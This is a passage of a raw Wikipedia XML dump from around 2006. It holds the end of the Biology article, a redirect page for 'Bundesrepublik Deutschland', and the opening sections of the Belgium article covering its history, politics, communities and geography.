A group of organisms is said to share a common descent if they share a common [[ancestor]].  All [[organism]]s on the [[Earth]] have been and are descended from a common ancestor or an ancestral [[gene pool]].  This last universal common ancestor of all organisms is believed to have appeared about [[Timeline of evolution|3.5 billion years ago]].  Biologists generally regard the universality of the [[genetic code]] as definitive evidence in favor of the theory of universal common descent (UCD) for all [[bacterium|bacteria]], [[archaea]], and [[eukaryote]]s (see: [[origin of life]]).

===Homeostasis: Adapting to change ===
&lt;!--[[Image:Lac_operon.png|thumb|left|250px|An example of [[homeostasis]]: the [[Lac operon]] is mechanism of [[gene regulation]] which prevents the build-up of [[lactose]].]]  in the process of checking this is actually homeostatic--&gt;
''Main article:'' [[Homeostasis]]

Homeostasis is the ability of an [[open system]] to regulate its internal environment to maintain a stable condition by means of multiple [[dynamic equilibrium]] adjustments controlled by interrelated regulation mechanisms.  All living [[organism]]s, whether [[unicellular]] or [[multicellular]], exhibit homeostasis.  Homeostasis manifests itself at the cellular level through the maintenance of a stable internal acidity ([[pH]]); at the organismic level, [[warm-blooded]] animals maintain a constant internal body temperature; and at the level of the [[ecosystem]], as when atmospheric [[carbon dioxide]] levels rise and [[plant]]s are theoretically able to grow healthier and remove more of the gas from the atmosphere.  [[Biological tissue|Tissue]]s and [[organ (biology)|organ]]s can also maintain homeostasis.

===Interactions: Groups and environments===
[[image:Common_clownfish.jpg|thumb|250px|right|Mutual [[symbiosis]] between [[clownfish]] of the genus [[Amphiprion]] that dwell among the tentacles of tropical [[sea anemone]]s. The territorial fish protects the anemone from anemone-eating fish, and in turn the stinging tentacles of the anemone protects the clown fish from its predators]]

Every living thing interacts with other organisms and its [[natural environment|environment]].  One reason that biological systems can be difficult to study is that so many different interactions with other organisms and the environment are possible, even on the smallest of scales.  A microscopic [[bacterium]] responding to a local sugar gradient is responding to its environment as much as a [[lion]] is responding to its environment when it searches for food in the [[Africa]]n [[Savanna|savannah]].  For any given species, [[behavior]]s can be [[co-operation|co-operative]], [[aggression|aggressive]], [[parasite|parasitic]] or [[symbiosis|symbiotic]].  Matters become more complex when two or more different species interact in an [[ecosystem]].  Studies of this type are the province of [[ecology]].

==Scope of biology==
''Main article:'' [[List of biology disciplines]]

Biology has become such a vast research enterprise that it is not generally regarded as a single discipline, but as a number of clustered sub-disciplines.  This article considers four broad groupings.  The first group consists of those disciplines that study the basic structures of living systems: [[cell (biology)|cell]]s, [[gene]]s etc.; the second group considers the operation of these structures at the level of tissues, organs, and bodies; the third group considers organisms and their histories; the final constellation of disciplines focuses on their interactions.  It is important to note, however, that these boundaries, groupings, and descriptions are a simplified characterization of biological research.  In reality, the boundaries between disciplines are fluid, and most disciplines frequently borrow techniques from each other.  For example, evolutionary biology leans heavily on techniques from molecular biology to determine [[DNA sequence]]s, which assist in understanding the genetic variation of a population; and physiology borrows extensively from cell biology in describing the function of organ systems.

===Structure of life===
[[image:biological_cell.png|thumb|300px|Schematic of typical animal [[cell (biology)|cell]] depicting the various [[organelle]]s and structures]]

''Main articles:'' [[Molecular biology]], [[Cell biology]], [[Genetics]], [[Developmental biology]]

[[Molecular biology]] is the study of biology at a [[molecular]] level. This field overlaps with other areas of biology, particularly with [[genetics]] and [[biochemistry]]. Molecular biology chiefly concerns itself with understanding the interactions between the various systems of a cell, including the interrelationship of DNA, RNA, and protein synthesis and learning how these interactions are regulated. 

[[Cell biology]] studies the [[physiology|physiological]] properties of [[cell (biology)|cell]]s, as well as their [[behavior]]s, interactions, and [[natural environment|environment]].  This is done both on a [[microscope|microscopic]] and [[molecule|molecular]] level. Cell biology researches both single-celled organisms like [[bacterium|bacteria]] and specialized cells in multicellular organisms like [[human]]s.

Understanding cell composition and how they function is fundamental to all of the biological sciences. Appreciating the similarities and differences between cell types is particularly important in the fields of cell and [[molecular biology]]. These fundamental similarities and differences provide a unifying theme, allowing the principles learned from studying one cell type to be extrapolated and generalized to other cell types.

[[Genetics]] is the [[science]] of [[gene]]s, [[heredity]], and the [[variation]] of [[organism]]s. In modern research, genetics provides important tools in the investigation of the function of a particular gene, or the analysis of [[genetic interaction]]s. Within [[organism]]s, genetic information generally is carried in [[chromosome]]s, where it is represented in the [[DNA sequence|chemical structure]] of particular [[DNA]] [[molecule]]s.

[[Gene]]s encode the information necessary for synthesizing proteins, which in turn play a large role in influencing (though, in many instances, not completely determining) the final [[phenotype]] of the organism.

Developmental biology studies the process by which organisms grow and develop. Originating in [[embryology]], modern developmental biology studies the genetic control of [[cell growth]], [[cellular differentiation|differentiation]], and &quot;[[morphogenesis]],&quot; which is the process that gives rise to [[biological tissue|tissue]]s, [[organ (anatomy)|organ]]s, and [[anatomy]].  
[[Model organism]]s for developmental biology include the round worm ''[[Caenorhabditis elegans]]'', the fruit fly ''[[Drosophila melanogaster]]'', the zebrafish ''[[Brachydanio rerio]]'', the mouse ''[[Mus musculus]]'', and the weed ''[[Arabidopsis thaliana]]''.

===Physiology of organisms===
''Main articles:'' '''[[Physiology]]''', [[Anatomy]]

Physiology studies the mechanical, physical, and biochemical processes of living organisms by attempting to understand how all of the structures function as a whole. The theme of &quot;structure to function&quot; is central to biology. Physiological studies have traditionally been divided into [[plant physiology]] and [[animal physiology]], but the principles of physiology are universal, no matter what particular [[organism]] is being studied. For example, what is learned about the physiology of [[yeast]] cells can also apply to [[human]] cells.  The field of animal physiology extends the tools and methods of [[human physiology]] to non-human [[species]].  Plant physiology also borrows techniques from both fields.  

[[Anatomy]] is an important branch of physiology and considers how [[organ (biology)|organ]] systems in animals, such as the [[nervous system|nervous]], [[immune system|immune]], [[endocrine system|endocrine]], [[respiratory system|respiratory]], and [[circulatory system|circulatory]] systems, function and interact.  The study of these systems is shared with  [[medicine|medically]] oriented disciplines such as [[neurology]] and [[immunology]].

===Diversity and evolution of organisms===
[[Image:fitness-landscape-cartoon.png|thumb|300px|In [[population genetics]] the [[evolution]] of a [[population]] of organisms is sometimes depicted as if travelling on a [[fitness landscape]]. The arrows indicate the preferred flow of a population on the landscape, and the points A, B, and C are local optima. The red ball indicates a population that moves from a very low fitness value to the top of a peak]]

''Main articles:'' '''[[Evolutionary biology]]''', [[Biodiversity]], [[Botany]], [[Zoology]]

Evolutionary biology is concerned with the origin and descent of [[species]], as well as their change over time, and includes scientists from many [[taxonomy|taxonomically]]-oriented disciplines.  For example, it generally involves scientists who have special training in particular [[organism]]s such as [[mammalogy]], [[ornithology]], or [[herpetology]], but use those organisms as systems to answer general questions about evolution.  Evolutionary biology is mainly based on [[paleontology]], which uses the [[fossil]] record to answer questions about the mode and tempo of evolution, as well as the developments in areas such as [[population genetics]] and evolutionary theory.  In the [[1990s]], [[developmental biology]] re-entered evolutionary biology from its initial exclusion from the modern synthesis through the study of [[evolutionary developmental biology]].  Related fields which are often considered part of evolutionary biology are [[phylogenetics]], [[systematics]], and [[taxonomy]].

The two major traditional taxonomically-oriented disciplines are [[botany]] and [[zoology]].
Botany is the scientific study of [[plant|plants]].  Botany covers a wide range of scientific disciplines that study the [[growth]], [[reproduction]], [[metabolism]], [[morphogenesis|development]], [[phytopathology|diseases]], and [[evolution]] of plant life.
Zoology involves the study of [[animal]]s, including the study of their [[physiology]] within the fields of [[anatomy]] and [[embryology]]. The common [[genetics|genetic]] and developmental mechanisms of animals and plants is studied in [[molecular biology]], [[molecular genetics]], and [[developmental biology]].  The [[ecology]] of animals is covered under [[behavioral ecology]] and other fields.

==== Classification of life ====
The dominant classification system is called [[Linnaean taxonomy]], which includes ranks and [[binomial nomenclature]]. How organisms are named is governed by international agreements such as the [[International Code of Botanical Nomenclature]] (ICBN), the [[International Code of Zoological Nomenclature]] (ICZN), and the [[International Code of Nomenclature of Bacteria]] (ICNB). A fourth Draft BioCode was published in 1997 in an attempt to standardize naming in these three areas, but it has yet to be formally adopted.  The [[International Code of Virus Classification and Nomenclature]] (ICVCN) remains outside the BioCode.

===Interactions of organisms===
[[Image:Foodweb.png|frame|A [[food web]], a generalization of the food chain, depicting the complex interrelationships among organisms in an [[ecosystem]].]]
''Main articles:'' [[Ecology]], [[Ethology]], [[Behavior]], [[Biogeography]]

[[Ecology]] studies the distribution and abundance of [[life|living organisms]], and the interactions between organisms and their [[natural environment|environment]]. The environment of an organism includes both its habitat, which can be described as the sum of local abiotic factors such as [[climate]] and [[geology]], as well as the other the organisms that share its habitat.  Ecological systems are studied at several different levels, from individuals and [[population]]s to [[ecosystem]]s and the [[biosphere]].  As can be surmised, ecology is a science that draws on several disciplines.

[[Ethology]] studies [[animal]] [[behavior]] (particularly of social animals such as [[primate]]s and [[canidae|canids]]), and is sometimes considered a branch of [[zoology]]. Ethologists have been particularly concerned with the [[evolution]] of behavior and the understanding of behavior in terms of the theory of [[natural selection]].  In one sense, the first modern ethologist was [[Charles Darwin]], whose book ''The expression of the emotions in animals and men'' influenced many ethologists.

[[Biogeography]] studies the spatial distribution of organisms on the [[Earth]], focusing on topics like [[plate tectonics]], [[climate change]], dispersal and migration, and [[cladistics]].

== History of the word &quot;biology&quot; ==
Formed by combining the Greek &amp;#946;&amp;#943;&amp;#959;&amp;#962; ''(bios)'', meaning 'life', and &amp;#955;&amp;#972;&amp;#947;&amp;#959;&amp;#962; ''(logos)'', meaning 'study of', the word &quot;biology&quot; in its modern sense seems to have been introduced independently by [[Gottfried Reinhold Treviranus]] (''Biologie oder Philosophie der lebenden Natur'', [[1802]]) and by [[Jean-Baptiste Lamarck]] (''Hydrogéologie'', 1802). The word itself is sometimes said to have been coined in [[1800]] by [[Karl Friedrich Burdach]], but it appears in the title of Volume 3 of [[Michael Christoph Hanov]]'s ''Philosophiae naturalis sive physicae dogmaticae'': ''Geologia, biologia, phytologia generalis et dendrologia'', published in [[1766]].

==History==
''Main articles: [[History of biology]], [[History of medicine]], [[History of genetics]]''

Major discoveries in biology include:
* [[Cell theory]]
* [[Germ theory of disease]]
* [[Genetics]]
* [[Evolution]]
* [[DNA]]

==See also==
''Main articles:'' [[List of biology topics]]

{| width=&quot;100%&quot; bgcolor=&quot;#fff4f4&quot; id=&quot;toc&quot;
!align=&quot;center&quot; colspan=&quot;2&quot;|[[List of biology topics|Topics related to biology]] ([[:Category:Biology|Category]])

|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|People and history
|align=&quot;left&quot; valign=&quot;top&quot;|[[Biologist]] - [[List of biologists|Notable biologists]] - [[History of biology]] - [[Nobel Prize in Physiology or Medicine]] - [[Timeline of biology and organic chemistry]] - [[List of geneticists and biochemists]]
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|Institutions, publications
|align=&quot;left&quot; valign=&quot;top&quot;|[[NASA Ames Research Center]] -  [[Bachelor of Science]] - [[List of publications in biology|Publications]]
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|Terms and phrases
|align=&quot;left&quot; valign=&quot;top&quot;|''[[Omne vivum ex ovo]]'' - ''[[In vivo]]'' - ''[[In vitro]]'' - ''[[In utero]]'' - ''[[In silico]]''
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|Related disciplines
|align=&quot;left&quot; valign=&quot;top&quot;|[[Medicine]] ([[Physician]]) - [[Physical anthropology]] - [[Environmental science]]
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|Outstanding problems
|align=&quot;left&quot; valign=&quot;top&quot;|[[Origin of life]] - [[Unsolved problems in biology]]
|-align=&quot;center&quot;
!align=&quot;left&quot; valign=&quot;top&quot;|Other
|align=&quot;left&quot; valign=&quot;top&quot;|[[List of technologies]] - [[List of conservation topics]]
|}

==External links==
{{wikibooks}}
{{wikibookspar|Wikiversity|School of Biology}}
*[http://www.biologynews.net/ ''Biology News Net'']: Daily updated biology news &amp; community website.
*[http://www.bionews.in/ ''BioNews :Latest Biology News '']: Research News and Articles from Biological Science and related fields.
*[http://www.rom.on.ca/biodiversity/biocode/biocode1997.html ''BioCode'']: A proposal for organism naming.
* [http://www.ncbi.nlm.nih.gov/entrez/query.fcgi?db=Books NCBI Open-Access Books]
*[[PhyloCode]], [http://www.ohiou.edu/phylocode/index.html]
*[http://tolweb.org/tree/phylogeny.html ''The Tree of Life'']: A multi-authored, distributed Internet project containing information about phylogeny and biodiversity.
*[http://www.bioone.org/perlserv/?request=index-html BioOne] Bioscience research journals.
*[http://www.everythingbio.com EverythingBio] Protocols, graduate school information, hard to find definitions.
'''Journal Links'''
*[http://biology.plosjournals.org/perlserv/?request=index-html&amp;issn=1545-7885 PLos Biology] A peer-reviewed, open-access journal published by the Public Library of Science
*[http://www.press.jhu.edu/journals/perspectives_in_biology_and_medicine/index.html Perspectives in Biology and Medicine]

==Further reading==
* [[Lynn Margulis]], ''Five Kingdoms: An Illustrated Guide to the Phyla of Life on Earth,'' 3rd ed., St. Martin's Press, [[1997]], paperback, ISBN 0805072527 (many other editions)
* [[Neil Campbell]], ''Biology (7th edition)'', Benjamin-Cummings Publishing Company, [[2004]], hardcover, ISBN 080537146X

{{Natural sciences-footer}}

[[Category:Biology|*]]


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    </revision>
  </page>
  <page>
    <title>Bundesrepublik Deutschland</title>
    <id>3342</id>
    <revision>
      <id>15901684</id>
      <timestamp>2002-10-24T19:50:19Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <minor />
      <comment>Restoring</comment>
      <text xml:space="preserve">#REDIRECT [[Germany]]</text>
    </revision>
  </page>
  <page>
    <title>Belgium</title>
    <id>3343</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42042773</id>
      <timestamp>2006-03-03T11:56:39Z</timestamp>
      <contributor>
        <ip>84.175.222.238</ip>
      </contributor>
      <comment>/* Geography */ rm pics; see comments on FAC page; those pics belong elsewhere (geography of Belgium?)</comment>
      <text xml:space="preserve">{{featured article}}
{{otheruses}}
{{Infobox Country|
native_name              = Kingdom of Belgium&lt;br /&gt; Koninkrijk België&lt;br /&gt; Royaume de Belgique&lt;br/&gt; Königreich Belgien |
common_name              = Belgium |
image_flag               = Flag of Belgium (civil).svg |
image_coat               = Belgium coat of arms large.png |
national_motto           = [[Dutch language|Dutch]]: Eendracht maakt macht; &lt;br /&gt;[[French language|French]]: L'union fait la force; &lt;br /&gt;[[German language|German]]: Einigkeit macht stark &lt;br&gt;(English: &quot;Strength lies in unity&quot;) |
image_map                = LocationBelgium.png |
national_anthem          = [[The Brabançonne]] (The Song of Brabant) |
official_languages       = [[Dutch language|Dutch]], [[French language |French]], [[German language |German]] |
capital                  = [[Brussels]] |
latd                     = 50|latm=54|latNS=N|longd=4|longm=32|longEW=E  |
government_type          = [[Constitutional Monarchy]] |
leader_titles            = [[Belgian monarchy|King]]&lt;br /&gt;[[List of Prime Ministers of Belgium|Prime Minister]] |
leader_names             = [[Albert II of Belgium |Albert II]]&lt;br /&gt;[[Guy Verhofstadt]]|
largest_city             = [[Brussels]] |
area                     = 30,528 |
areami²                  = 11,787 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
area_rank                = 148th |
area_magnitude           = 1 E10 |
percent_water            = 6.4 |
population_estimate      = 10,445,852|
population_estimate_year = 2005 |
population_estimate_rank = 79th |
population_census        = 10,445,852|
population_census_year   = 2005|
population_density       = 342 |
population_densitymi²    = 886 | &lt;!-- Do not remove [[WP:MOSNUM]]--&gt;
population_density_rank  = 17th |
GDP_PPP_year             = 2004 |
GDP_PPP                  = $316.2&amp;nbsp;[[1 E9|billion]] |
GDP_PPP_rank             = 30th |
GDP_PPP_per_capita       = $29,707|
GDP_PPP_per_capita_rank  = 14th |
HDI_year                 = 2003 |
HDI                      = 0.945 |
HDI_rank                 = 9th |
HDI_category             = &lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
sovereignty_type         = Independence |
established_events       = [[Belgian Revolution]]|
established_dates        = 1830 |
currency                 = [[Euro]] |
currency_code            = EUR |
time_zone                = [[Central European Time|CET]] |
utc_offset               = +1 |
time_zone_DST            = [[Central European Summer Time|CEST]] |
utc_offset_DST           = +2|
cctld                    = [[.be]] |
calling_code             = 32|
footnotes                = 
}}
The '''Kingdom of Belgium''' ([[Dutch language|Dutch]]: ''Koninkrijk België''; [[French language|French]]: ''Royaume de Belgique''; [[German language|German]]: ''Königreich Belgien'') is a country in [[Western Europe|northwest Europe]] bordered by [[Netherlands|the Netherlands]], [[Germany]], [[Luxembourg]] and [[France]]. Belgium has a population of over ten million people in an area of thirty thousand square kilometres (11,700&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]).  Straddling the cultural boundary between [[Germanic language|Germanic]] and [[Romance language|Romance]] Europe, it is both linguistically and culturally divided. Two major languages are spoken in Belgium: Dutch—sometimes unofficially called [[Flemish (linguistics)|Flemish]]—spoken in [[Flanders]] to the north; and French, spoken in [[Walloon Region|Wallonia]] in the south. The capital, [[Brussels-Capital Region|Brussels]], is officially bilingual, while the majority of its residents speaks French. An officially recognized minority of [[German language|German]] speakers is present in the east. This linguistic diversity often leads to political conflict, and is reflected in Belgium's complex [[Communities, regions and provinces of Belgium|system of government]] and [[history of Belgium|political history]]. 

Belgium derives its name from its first named inhabitants, the ''[[Belgae]]'', a group of mostly [[Celt|Celtic]] tribes, and from the [[Roman province]] in northern [[Gaul]], known as [[Gallia Belgica]]. Historically, Belgium has been a part of the [[Low Countries]], which also include the Netherlands and Luxembourg and were covering a somewhat larger region than the current [[Benelux]] group of states. From the end of the [[Middle Ages]] until the seventeenth century, it was a prosperous center of commerce and culture. From the sixteenth century until independence in 1830, Belgium, called at that time [[Southern Netherlands |the Southern Netherlands]], was the site of many battles between the European powers, and has been dubbed &quot;the [[Cockpit]] of Europe.&quot;{{ref|Nuttall}} More recently, Belgium was a founding member of the [[European Union]], hosting its headquarters, as well as those of other major international organisations, such as [[NATO]].

==History==
{{main|History of Belgium}}
Over the past two millennia, the area that is now known as Belgium has seen significant demographic, political and cultural upheavals. The first well-documented population move was the conquest of the region by the [[Roman Republic]] in the 1st century [[Anno Domini|BC]], followed in the 5th century by the [[Germanic people|Germanic]] [[Frank]]s. The Franks established the [[Merovingian]] kingdom, which became the [[Carolingian Empire]] in the 8th century. During the Middle Ages, the Low Countries were split into many small [[feudal]] states. Most of them were united in the course of the 14th and 15th centuries by the house of [[Burgundy]] as the [[Burgundian Netherlands]]. These states gained a degree of autonomy in the 15th century and were thereafter named the [[Seventeen Provinces]].  
{| align=&quot;left&quot; border=&quot;0&quot;
|-
| [[Image:Map-1477 Low Countries.png|250px|thumb|left|The [[Seventeen Provinces]] (orange, brown and yellow areas) and the [[Bishopric of Liège]] (green area). For a detailed description, see [[Seventeen Provinces]].]]
|-
| [[Image:Wappers belgian revolution.jpg|left|thumb|250px|''Episode of the Belgian Revolution of 1830'', [[Egide Charles Gustave Wappers]] (1834), in the Ancient Art Museum, Brussels]]
|}
The history of Belgium can be distinguished from that of the Low Countries from the 16th century. A [[civil war]], the [[Eighty Years' War]] (1568&amp;ndash;1648), divided the Seventeen Provinces into the [[Republic of the Seven United Provinces of the Netherlands|United Provinces]] in the north and the [[Southern Netherlands]] in the south. The southern provinces were ruled successively by the [[Habsburg Spain|Spanish]] and the [[History of Austria#Charles VI and Maria Theresa (1711-1780)|Austrian]] [[Habsburg]]s. Until independence, the Southern Netherlands were sought after by numerous French conquerors and were the theatre of most [[Early Modern France#France in the 17th and 18th centuries |Franco-Spanish and Franco-Austrian wars]] during the 17th and 18th centuries. Following the [[French Revolutionary Wars: Campaigns of 1794 | Campaigns of 1794 in the French Revolutionary Wars]], the Low Countries—including territories that were never under Habsburg rule, such the [[Bishopric of Liège]]—were overrun by France, ending Spanish-Austrian rule in the region. The reunification of the Low Countries as the [[United Kingdom of the Netherlands]] occurred at the end of the [[first French Empire|French Empire]] in 1815. 

The 1830 [[Belgian Revolution]] led to the establishment of an [[independence|independent]], [[Catholicism|Catholic]] and neutral Belgium under a provisional government. Since the installation of [[Leopold I]] as king in 1831, Belgium has been a [[constitutional monarchy]] and [[parliamentary democracy]]. Between independence and [[World War II]], the democratic system evolved from an [[oligarchy]] characterised by two main parties, the Catholics and the Liberals, to a [[universal suffrage]] system that has included a third party, the [[Belgian Labour Party]], and a strong role for the [[trade union]]s. Originally, French, which was the adopted language of the [[nobility]] and the [[bourgeoisie]] was the official language. The country has since developed a bilingual Dutch-French system.

The [[Berlin Conference]] of 1885 agreed to hand over [[Colonisation of the Congo|Congo]] to [[Léopold II of Belgium|King Leopold II]] as his private possession, called the [[Congo Free State]]. In 1908, it was ceded to Belgium as a colony, henceforth called the [[Belgian Congo]]. Belgium's neutrality was violated in 1914, when Germany invaded Belgium as part of the [[Schlieffen Plan]]. The former [[German colonies]] [[Ruanda-Urundi]]—now called [[Rwanda]] and [[Burundi]]—were occupied by the Belgian Congo in 1916. They were mandated in 1924 to Belgium by the [[League of Nations]]. Belgium was again invaded by Germany in 1940 during the [[blitzkrieg]] offensive. The Belgian Congo gained its independence on [[30 July]] [[1960]] during the [[Congo Crisis]], and Ruanda-Urundi became independent in 1962.

After World War II, Belgium joined NATO and, together with the Netherlands and Luxembourg, formed the [[Benelux]] group of nations. Belgium was also one of the founding members of the [[European Economic Community]]. Belgium hosts the headquarters of NATO and a major part of the [[European Union]]'s institutions and administrations, including the [[European Commission]], the [[Council of the European Union]] and most of the sessions of the [[European Parliament]]. During the 20th century, and in particular since World War II, the history of Belgium has been increasingly dominated by the autonomy of its two main language communities. This period saw a rise in intercommunal tensions, and the unity of the Belgian state has come under scrutiny.{{ref|language_BBC}} Through constitutional reforms in the 1970s and 1980s, [[regionalisation]] of the unitary state had led to the establishment of a three-tiered system of [[federalism]], linguistic-community and regional governments, a compromise designed to minimise linguistic tensions. Nowadays, these federal entities uphold more legislative power than the national bicameral parliament.

== Politics==
{{main|Politics of Belgium}}
[[Image:Gverof.jpg|thumb|250px|[[Guy Verhofstadt]], Prime Minister since July 1999]]

Belgium is a [[constitutional monarchy |constitutional]] [[popular monarchy]] and [[parliamentary system|parliamentary democracy]] that evolved after World War II from a [[unitary state]] to a [[federation]]. The [[bicameralism|bicameral]] [[parliament]] is composed of a [[Senate]] and a [[Chamber of Representatives]]. The former is a mix of directly elected senior politicians and representatives of the communities and regions; while the latter represents all Belgians over the age of eighteen in a [[proportional representation|proportional voting]] system. Belgium is one of the few countries that has [[compulsory voting]], thus having one of the highest rates of [[voter turnout]] in the world.{{ref|turnout}}

The federal government, formally nominated by the king, must have the confidence of the Chamber of Representatives. It is led by the [[Prime Minister]]. The numbers of Dutch- and French-speaking ministers are equal as prescribed by the  Constitution.{{ref|minister}} The King or Queen is the [[head of state]], though he has limited [[Royal Prerogative |prerogative]]s. Actual power is vested in the Prime Minister and the [[list of Governments in Belgium |different governments]], who govern the country. The judicial system is based on [[Civil law (legal system)|civil law]] and originates from the [[Napoleonic code]]. The [[Court of Appeals]] is one level below the [[Court of Cassation (Belgium)|Court of Cassation]], an institution based on the [[Cour de cassation|French Court of Cassation]].

Belgium's political institutions are complex; most political power is organised around the need to represent the main language communities. Since around 1970, the significant national Belgian [[political party|political parties]] has split into distinct components that mainly represent the interests of these communities. The major parties in each community belong to three main political families: the [[right-wing politics|right-wing]] [[Vlaamse Liberalen en Democraten|Liberals]], the [[centrism|centrist]] [[Christian Democracy|Christian Democrats]], and the [[left-wing politics|left-wing]] [[Social Democracy|Social Democrats]]. Other important younger parties are the [[worldwide green parties|Green parties]] and, especially in Flanders, the [[nationalism|nationalist]] and [[far-right]] parties. Politics is influenced by lobby groups, such as [[trade union]]s and business interests in the form of the [[Federation of Enterprises in Belgium]].

[[Image:King Albert II of Belgium 2.jpg|thumb|left|200px|[[Albert II of Belgium|Albert II]],  King of the Belgians]]
The current king, [[Albert II of Belgium|Albert II]], succeeded King [[Baudouin of Belgium|Baudouin]] in 1993. In 1999, Prime Minister [[Guy Verhofstadt]] from the [[Flemish Liberals and Democrats|VLD]] has led a six-party Liberal-Social Democrat-Greens [[coalition]], often referred to as 'the rainbow government'. This was the first government without the Christian Democrats since 1958.{{ref|rainbow_BBC}} In the [[Belgian general election, 2003|2003 election]]s, Verhofstadt won a second term in office and has led a Liberal-Social Democrat coalition of four parties.{{ref|chambre}} More recently however, the steady rise of the Flemish ultra-right nationalist [[separatism|separatist]] party [[Vlaams Belang]], has superseded the [[Flemish Block|Vlaams Blok]] amidst concerns of racism promoted by the party. {{ref|VB_expa}}{{ref|VB_BBC}} 

A significant achievement of the two successive Verhofstadt governments has been the achievement of a balanced budget; Belgium is one of the few member-states of the EU to have done so. This policy was applied by the successive governments during the 1990s under pressure from the [[European Council]]. The fall of the previous government was mainly due to the [[dioxin]] crisis,{{ref|dioxin}} a major food intoxication scandal in 1999 that led to the establishment of the Belgian Food Agency.{{ref|food}} This event resulted in an atypically large representation by the Greens in parliament, and a greater emphasis on environmental politics during the first Verhofstadt government. One Green policy, for example, resulted in [[nuclear power phase-out#Belgium|nuclear phase-out]] legislation, which has been modified by the current government. The absence of Christian Democrats from the ranks of the government has enabled Verhofstadt to tackle social issues from a more [[liberalism|liberal]] point of view and to develop new legislation on the use of [[soft drug]]s, [[same-sex marriage in Belgium|same-sex marriage]] and [[euthanasia#Belgium|euthanasia]]. During the two most recent parliaments, the government has promoted active diplomacy in Africa,{{ref|rwanda}} opposed a military intervention during the [[Iraq disarmament crisis]], and has passed legislation concerning [[War Crimes Law (Belgium)|war crimes]]. Both of Verhofstadt's terms have been marked by disputes between the Belgian communities. The major points of contention are the nocturnal air traffic routes at [[Brussels Airport]] and the status of the electoral district of [[Brussels-Halle-Vilvoorde]].

{{seealso|list of Belgian monarchs|Belgian federal parliament|Belgian federal government|list of Belgian Prime Ministers|Political parties in Belgium}}

==Communities and regions==
{{main|Communities, regions and provinces of Belgium}}
[[Image:350px-Belgium RegProv border.jpg|250px|right|thumbnail|Belgium is composed of the five northern Dutch-speaking provinces of [[Flanders]], the five southern French-speaking provinces of [[Wallonia]] (the [[German-speaking community of Belgium |German-speaking Community]] is located in the [[Liège (province) |province of Liège]] along the German border) and the bilingual [[Brussels-Capital Region|Capital Region of Brussels]].  The boundary between these regions is marked in red.]]

The country's constitution was revised on [[14 July]] [[1993]] to create a unique federal state, based on three levels:
#The federal government, based in Brussels.
#The three language communities:
#* the [[Flemish Community|Flemish (i.e., Dutch-speaking) Community]]; 
#* the [[French Community of Belgium|French (i.e., French-speaking) Community]]; and
#* the [[German-speaking Community of Belgium|German-speaking Community]].
# The three regions (which differ from the language communities with respect to the German-speaking community and the Brussels region):
#* the [[Flemish Region]];
#* the [[Wallonia|Walloon Region]]; and
#* the [[Brussels-Capital Region]].
Conflicts between the bodies are resolved by the [[Court of Arbitration of Belgium|Court of Arbitration]]. The setup allows a compromise so distinctly different cultures can live together peacefully.  

The Flemish Community absorbed the Flemish Region in 1980 to form the government of [[Flanders]]{{ref|flanders}}. The overlapping boundaries of the Regions and Communities have created two notable peculiarities: the territory of the Brussels-Capital Region is included in both Flemish and French Communities, and the territory of the German-speaking Community lies wholly within the Walloon Region.  Flemish and Walloon regions are furthermore subdivided in administrative entities, the provinces. 

At the highest level of this three-tiered setup is the [[Belgian federal government |federal government]] which manages [[foreign affairs]], [[development aid]], [[defense (military)|defence]], [[Belgium/Military|military]], police, economic management, [[social welfare]], [[social security]] transport, energy, telecommunications, and scientific research, limited competencies in education and culture, and the supervision of taxation by regional authorities. The federal government controls more than 90 per cent of all taxation. The community governments are responsible for the promotion of language, culture and education in mostly schools, libraries and theatres. The third tier is the Regional governments, who manage mostly land and property based issues such as housing, transportation etc. For example, the building permit for a school building in Brussels belonging to the public school system would be regulated by the regional government of Brussels. However, the school as an institution would fall under the regulations of the Flemish government if the primary language of teaching is Dutch, but under the French Community government if the primary language is French.

== Geography==
{{main|Geography of Belgium}}
[[Image:Be-map.gif|thumb|200px| [[Brussels]], [[Antwerp]] (Antwerpen), [[Ghent]] (Gent), [[Charleroi]], [[Liège (city)|Liège]], [[Bruges]] (Brugge) and [[Namur (city)|Namur]] are the seven largest cities of Belgium, with populations above 100,000]]

Belgium, with an area of 30,528 [[square kilometre]]s (11,787&amp;nbsp;[[square mile|sq.&amp;nbsp;mi]]), has three main geographical regions: the coastal plain in the north-west, the central plateau, and the [[Ardennes]] uplands in the south-east. The coastal plain consists mainly of sand dunes and [[polder]]s. Polders are areas of land, close to or below sea level that have been reclaimed from the sea, from which they are protected by [[Dike (construction)|dike]]s or, further inland, by fields that have been drained with canals. The second geographical region, the central plateau, lies further inland. This is a smooth, slowly rising area that has many fertile valleys and is irrigated by many waterways. Here one can also find rougher land, including caves and small [[gorge]]s.

[[Image:Hautes-Fagnes.jpg|thumb|left|200px|Landscape in the [[Hautes Fagnes]], in the Ardennes]]

The third geographical region, called the Ardennes, is more rugged than the first two. It is a thickly forested plateau, very rocky and not very good for farming, which extends into northern France. This is where much of Belgium's wildlife can be found.  Belgium's highest point, the [[Signal de Botrange]] is located in this region at only 694&amp;nbsp;[[metre]]s (2,277&amp;nbsp;[[foot (unit of length|ft]]).

The climate is maritime [[temperate]], with significant precipitation in all seasons ([[Köppen climate classification]]: ''Cfb''; the average temperature is 3°C (37°F) in January, and 18°[[Celsius|C]] (64°[[Fahrenheit|F]]) in July; the average precipitation is 65&amp;nbsp;[[millimetre]]s (2.6&amp;nbsp;[[inch|in]]) in January, and 78&amp;nbsp;millimetres (3.1&amp;nbsp;in) in July).{{ref|meteo}}

== Economy==
{{main|Economy of Belgium}}
Densely populated, Belgium is located at the heart of one of the world's most highly industrialised regions.

[[Image:Ougree_16.jpg|thumb|300px|Steelmaking along the [[Meuse]] at [[Ougrée]], near [[Liège (city) |Liège]].]]
